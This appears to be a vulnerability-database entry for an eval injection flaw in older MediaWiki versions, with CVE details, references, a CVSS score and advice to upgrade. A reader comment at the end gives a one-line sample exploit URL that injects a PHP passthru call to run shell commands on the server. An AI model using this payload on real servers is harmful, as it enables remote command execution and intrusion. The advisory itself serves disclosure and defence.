Info

Last Modified

over 2 years ago

Percent Complete

20%

Disclosure

Dec 04, 2005

Discovery

Unknown

Dates

Exploit

Unknown

Solution

Unknown

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Description

(Description Provided by CVE) : Eval injection vulnerability in MediaWiki 1.5.x before 1.5.3 allows remote attackers to execute arbitrary PHP code via the "user language option," which is used as part of a dynamic class name that is processed using the eval function.

Classification

Unknown or Incomplete

Solution

Upgrade to version 1.5.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

Unknown or Incomplete

References

Bugtraq ID: 15703
Secunia Advisory ID: 17866
CVE ID: 2005-4031 (see also: NVD)
CERT VU: 392156
VUPEN Advisory: ADV-2005-2726
Vendor Specific News/Changelog Entry: http://sourceforge.net/project/shownotes.php?group_id=34373&release_id=375755
Vendor URL: http://www.mediawiki.org/

Tools & Filters

Snort	16079
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Credit

Unknown or Incomplete

CVSSv2 Score

CVSSv2 Base Score = 7.5
Source: nvd.nist.gov | Generated: 2005-12-06 | Disagree?

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Anonymous - 2008/05/13 01:39:00

Sample exploit:

http://www.site.com/index.php?uselang=t{}%20print%20%22%3Cplaintext%3E%22;passthru($_GET['cmd']);/*&cmd=dir

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